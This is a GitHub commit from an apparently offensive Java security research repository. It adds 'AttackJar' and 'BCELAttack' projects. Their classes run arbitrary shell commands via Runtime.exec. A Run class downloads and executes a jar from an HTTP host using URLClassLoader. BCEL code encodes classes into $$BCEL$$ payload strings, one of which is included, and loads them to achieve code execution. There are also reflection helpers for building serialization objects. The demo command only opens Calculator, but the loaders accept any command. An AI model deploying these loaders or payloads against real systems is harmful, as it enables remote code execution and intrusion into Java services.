Skip to content

Commit 2dd9a4e

Browse files
committed
update BCEL RemoteJar :)
1 parent 00a0c27 commit 2dd9a4e

File tree

12 files changed

+509
-4
lines changed

12 files changed

+509
-4
lines changed

Serialization/AttackJar/pom.xml

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>org.example</groupId>
6+
<artifactId>AttackJar</artifactId>
7+
<version>1.0</version>
8+
<packaging>jar</packaging>
9+
10+
<name>AttackJar</name>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
</properties>
15+
16+
<dependencies>
17+
18+
</dependencies>
19+
20+
<build>
21+
<plugins>
22+
<plugin>
23+
<groupId>org.springframework.boot</groupId>
24+
<artifactId>spring-boot-maven-plugin</artifactId>
25+
</plugin>
26+
<plugin>
27+
<groupId>org.apache.maven.plugins</groupId>
28+
<artifactId>maven-compiler-plugin</artifactId>
29+
<version>3.8.1</version>
30+
<configuration>
31+
<source>1.8</source>
32+
<target>1.8</target>
33+
</configuration>
34+
</plugin>
35+
</plugins>
36+
</build>
37+
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package org.example;
2+
3+
/**
4+
* @author Whoopsunix
5+
*/
6+
public class Exec {
7+
public Exec() {
8+
}
9+
10+
static {
11+
try {
12+
Runtime.getRuntime().exec("open -a Calculator.app");
13+
} catch (Exception e){
14+
}
15+
}
16+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package org.example;
2+
3+
/**
4+
* @author Whoopsunix
5+
*/
6+
public class ExecArg {
7+
public ExecArg() {
8+
}
9+
10+
public ExecArg(String cmd) {
11+
try {
12+
Runtime.getRuntime().exec(cmd);
13+
} catch (Exception e) {
14+
}
15+
}
16+
17+
public void exec(String cmd) {
18+
try {
19+
Runtime.getRuntime().exec(cmd);
20+
} catch (Exception e) {
21+
}
22+
}
23+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package org.example;
2+
3+
import java.net.URL;
4+
import java.net.URLClassLoader;
5+
6+
/**
7+
* @author Whoopsunix
8+
*/
9+
public class Run {
10+
public static void main(String[] args) throws Exception{
11+
/**
12+
* 调用 static
13+
*/
14+
// URL url = new URL("http:///127.0.0.1:1234/AttackJar-1.0.jar");
15+
// URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
16+
// Class<?> loadedClass = classLoader.loadClass("org.example.Exec");
17+
// Object object = loadedClass.newInstance();
18+
19+
/**
20+
* 调用构造方法
21+
*/
22+
// URL url = new URL("http:///127.0.0.1:1234/AttackJar-1.0.jar");
23+
// URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
24+
// Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
25+
// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
26+
27+
/**
28+
* 调用方法
29+
*/
30+
URL url = new URL("http:///127.0.0.1:1234/AttackJar-1.0.jar");
31+
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
32+
Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
33+
Object object = loadedClass.newInstance();
34+
loadedClass.getMethod("exec", String.class).invoke(object, "open -a Calculator.app");
35+
36+
}
37+
}

Serialization/BCELAttack/pom.xml

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
2+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>org.example</groupId>
6+
<artifactId>BCELAttack</artifactId>
7+
<version>1.0-SNAPSHOT</version>
8+
<packaging>jar</packaging>
9+
10+
<name>BCELAttack</name>
11+
<url>http://maven.apache.org</url>
12+
13+
<properties>
14+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
15+
</properties>
16+
17+
<dependencies>
18+
<dependency>
19+
<groupId>junit</groupId>
20+
<artifactId>junit</artifactId>
21+
<version>3.8.1</version>
22+
<scope>test</scope>
23+
</dependency>
24+
</dependencies>
25+
</project>
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
package org.example;
2+
3+
import com.sun.org.apache.bcel.internal.Repository;
4+
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
5+
import com.sun.org.apache.bcel.internal.classfile.Utility;
6+
import com.sun.org.apache.bcel.internal.util.ClassLoader;
7+
8+
/**
9+
* @author Whoopsunix
10+
*/
11+
public class BCEL {
12+
public static void main(String[] args) throws Exception {
13+
/**
14+
* 调用 static
15+
*/
16+
String exec = encode(Exec.class);
17+
// $$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMO$c2$40$U$9c$85B$a1$96$af$o$f8$adx$SL$84$Y$8f$Q$P$S$bdH$d4$88$c1$f3R7uIi$9b$d2$g$fe$91g$$j$3c$f8$D$fcQ$c6$d7J$90$e8$kv$f6$cd$9b$99$b7$bb$9f_$ef$l$A$8e$b1$a7A$85$a1$a1$8c$d5$M$w$RVU$ac$a9XW$b1$c1$90$eeHG$G$a7$M$c9zc$c0$a0t$dd$H$c1P$e8IG$5c$85$e3$a1$f0$ef$f8$d0$s$c6$e8$b9$s$b7$H$dc$97Q$3d$t$95$e0QN$e2$9eo$b5$c4$94$8f$3d$5b$b4$ce$a7$c2l3d$3a$a6$3d$8f$d6$fan$e8$9b$e2BF$9el$d4o$8e$f8$T$d7$91AV$c5$a6$8e$zl3T$5dO8$b5$p$5e$ebr$db$Mm$k$b8$7e$93$7b$9e$8e$j$ec2$94$pG$cb$e6$8eE$DL$e1$F$d2u$Y$8a$7f$H$T$f5$x$bc$k$8e$84$Z0$94$7e$a9$db$d0$J$e4$98$ae$a1Y$oX$U$95z$a3$f7OCoPD$iyP_$ea$f6$D_$3aV$7b$d9p$e3$bb$a6$98L$da$d8G$9a$fe$3aZ$J$b0$e8u$b4kT$9d$Q2$c2$d4$e1$x$d8$yn$af$d0$ae$R$82$M$KIu$3a$e9$3f$o$e4$90$t$cc$a0$b0$I8$8b$D$81$fc$h$SF$f2$F$ca$fd3$94$cbY$cce$c9$97$9a$t$g$94$V$e5d$vA$a7$9c$ie$e8$f1$3c$90$b6$Y$9fJ$df$e0$d7r$ac$g$C$A$A
18+
decode(exec);
19+
20+
/**
21+
* 调用构造方法, 传参
22+
*/
23+
// String execArg = encode(ExecArg.class);
24+
// // $$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91MO$c2$40$Q$86$df$a5$c5j$a9$96$82$e0$b7$c6$93$a0$89$8d$f1$8811$GO$f5$pb$f0$e4$a1$94M$5d$d2$PR$8a$e1$ly$e6$a2$c6$83$3f$c0$le$9c$F$o$s$d0$c3$cc$ce$3b$ef$3e3$9b$7e$ff$7c$7e$B8$c1$9e$8e$F$Uu$ac$a2$qCY$c3$9a$86u$N$h$M$Lg$o$S$e99$83R$a96$Z$d4$cb$b8$cd$ZLGD$fc$a6$l$b6x$f2$e0$b6$CR$KN$ec$b9A$d3M$84$ac$t$a2$9a$3e$8b$kC$c9$89$T$df$e6$D7$ec$G$dc$ae$P$b8w$91$f85$d2$xN$c7$7dq$ed$c0$8d$7c$bb$91$s$o$f2kr$88$e2$85mI$9ci2$e8$8d$b8$9fx$fcJH$bc1A$jK$a3$B$N$8b$g6$Nla$db$c0$Ov$Z$8aSB$7d$e0$f1n$w$e2$88$d49$db0$e4$a7$de$dbV$87$7b$v$835$95$ee$fbQ$wB$9a$a9$fb$3c$fd$xJ$95$aa3$e3$a1$zUNT$86$83y$ef$fb$t$dd$r$b1$c7$7b$bd$g$f6$91$a5$l$m$bf$M$98$7c$H$c5$r$aaN$v3$ca$d9$c3w$b0$e1$a8$adS$d4$v$83l$w$Zst2$c6$s$ca$cb$94$r$60e$Cx$o$a7B$d9$92$80$Pd$8e$de$a0$3c$beB$bd$k$92A$a5$L$s$c51$b4L$A$89$96$aaA$A$93$60y$8a$b9QO$O$b4$s$D$e4$c9$a4$9e$dc$cd$g$zU$f8$F$P$W$$$EJ$C$A$A
25+
// decodeArg(execArg, "open -a Calculator.app");
26+
27+
/**
28+
* 调用方法
29+
*/
30+
// String execArg = encode(ExecArg.class);
31+
// decodeMethod(execArg, "exec", "open -a Calculator.app");
32+
}
33+
34+
public static String encode(Class<?> clazz) throws Exception {
35+
JavaClass javaClass = Repository.lookupClass(clazz);
36+
String s = Utility.encode(javaClass.getBytes(), true);
37+
String bcelStr = "$$BCEL$$" + s;
38+
System.out.println(bcelStr);
39+
return bcelStr;
40+
}
41+
42+
public static void decode(String s) throws Exception {
43+
new ClassLoader().loadClass(s).newInstance();
44+
}
45+
46+
public static void decodeArg(String s, String arg) throws Exception {
47+
// new ClassLoader().loadClass(s).getConstructors()[1].newInstance(arg);
48+
new ClassLoader().loadClass(s).getConstructor(String.class).newInstance(arg);
49+
}
50+
51+
public static void decodeMethod(String s,String name, String arg) throws Exception {
52+
Object obj = new ClassLoader().loadClass(s).newInstance();
53+
obj.getClass().getMethod(name, String.class).invoke(obj, arg);
54+
}
55+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
package org.example;
2+
3+
/**
4+
* @author Whoopsunix
5+
*/
6+
public class Exec {
7+
public Exec() {
8+
}
9+
10+
static {
11+
try {
12+
Runtime.getRuntime().exec("open -a Calculator.app");
13+
} catch (Exception e){
14+
}
15+
}
16+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
package org.example;
2+
3+
/**
4+
* @author Whoopsunix
5+
*/
6+
public class ExecArg {
7+
public ExecArg() {
8+
}
9+
10+
public ExecArg(String cmd) {
11+
try {
12+
Runtime.getRuntime().exec(cmd);
13+
} catch (Exception e) {
14+
}
15+
}
16+
17+
public void exec(String cmd) {
18+
try {
19+
Runtime.getRuntime().exec(cmd);
20+
} catch (Exception e) {
21+
}
22+
}
23+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
package org.tools;
2+
3+
import sun.reflect.ReflectionFactory;
4+
5+
import java.lang.reflect.AccessibleObject;
6+
import java.lang.reflect.Constructor;
7+
import java.lang.reflect.Field;
8+
import java.lang.reflect.InvocationTargetException;
9+
10+
@SuppressWarnings("restriction")
11+
public class Reflections {
12+
13+
public static void setAccessible(AccessibleObject member) {
14+
String versionStr = System.getProperty("java.version");
15+
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
16+
member.setAccessible(true);
17+
}
18+
19+
public static Field getField(final Class<?> clazz, final String fieldName) {
20+
Field field = null;
21+
try {
22+
field = clazz.getDeclaredField(fieldName);
23+
setAccessible(field);
24+
} catch (NoSuchFieldException ex) {
25+
if (clazz.getSuperclass() != null)
26+
field = getField(clazz.getSuperclass(), fieldName);
27+
}
28+
return field;
29+
}
30+
31+
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
32+
final Field field = getField(obj.getClass(), fieldName);
33+
field.set(obj, value);
34+
}
35+
36+
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
37+
final Field field = getField(obj.getClass(), fieldName);
38+
return field.get(obj);
39+
}
40+
41+
public static Constructor<?> getFirstCtor(final String name) throws Exception {
42+
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
43+
setAccessible(ctor);
44+
return ctor;
45+
}
46+
47+
public static Constructor<?> getFirstCtor(Class clazz) throws Exception {
48+
final Constructor<?> ctor = clazz.getDeclaredConstructors()[0];
49+
setAccessible(ctor);
50+
return ctor;
51+
}
52+
53+
public static Object newInstance(String className, Object... args) throws Exception {
54+
return getFirstCtor(className).newInstance(args);
55+
}
56+
57+
public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
58+
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
59+
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
60+
}
61+
62+
@SuppressWarnings({"unchecked"})
63+
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs)
64+
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
65+
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
66+
setAccessible(objCons);
67+
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
68+
setAccessible(sc);
69+
return (T) sc.newInstance(consArgs);
70+
}
71+
72+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
package org.tools.encryption;
2+
3+
import com.sun.org.apache.bcel.internal.Repository;
4+
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
5+
6+
import java.io.FileInputStream;
7+
import java.io.InputStream;
8+
import java.util.Arrays;
9+
import java.util.Base64;
10+
11+
/**
12+
* @author Whoopsunix
13+
*/
14+
public class B64 {
15+
/**
16+
* JavaClass 形式 base64加密
17+
*/
18+
public String encodeJavaClass(Class<?> cls){
19+
try {
20+
JavaClass javaClass = Repository.lookupClass(cls);
21+
System.out.println(Arrays.toString(javaClass.getBytes()));
22+
return encodeStr(javaClass.getBytes());
23+
} catch (Exception e) {
24+
e.printStackTrace();
25+
}
26+
return "";
27+
}
28+
29+
// byte[]
30+
public String encodeStr(byte[] b) {
31+
try {
32+
return Base64.getEncoder().encodeToString(b);
33+
} catch (Exception e) {
34+
e.printStackTrace();
35+
}
36+
return "";
37+
}
38+
39+
// file
40+
public String encodeFile(String filePath) throws Exception {
41+
InputStream in = new FileInputStream(filePath);
42+
byte[] data = new byte[in.available()];
43+
in.read(data);
44+
return encodeStr(data);
45+
}
46+
47+
/**
48+
* 解密
49+
*/
50+
// base64解密rt1
51+
public String decodeStr1(String base64Str) {
52+
byte[] b = Base64.getDecoder().decode(base64Str);
53+
return new String(b);
54+
}
55+
56+
// base64解密rt2
57+
public String decodeStr2(String base64Str) {
58+
try {
59+
byte[] b = com.sun.org.apache.xml.internal.security.utils.Base64.decode(base64Str);
60+
return new String(b);
61+
} catch (Exception e){
62+
63+
}
64+
return "";
65+
}
66+
67+
// base64解密spring方法
68+
public String decodeStr3(String base64Str) {
69+
byte[] b = org.springframework.util.Base64Utils.decodeFromString(base64Str);
70+
return new String(b);
71+
}
72+
}

0 commit comments

Comments
 (0)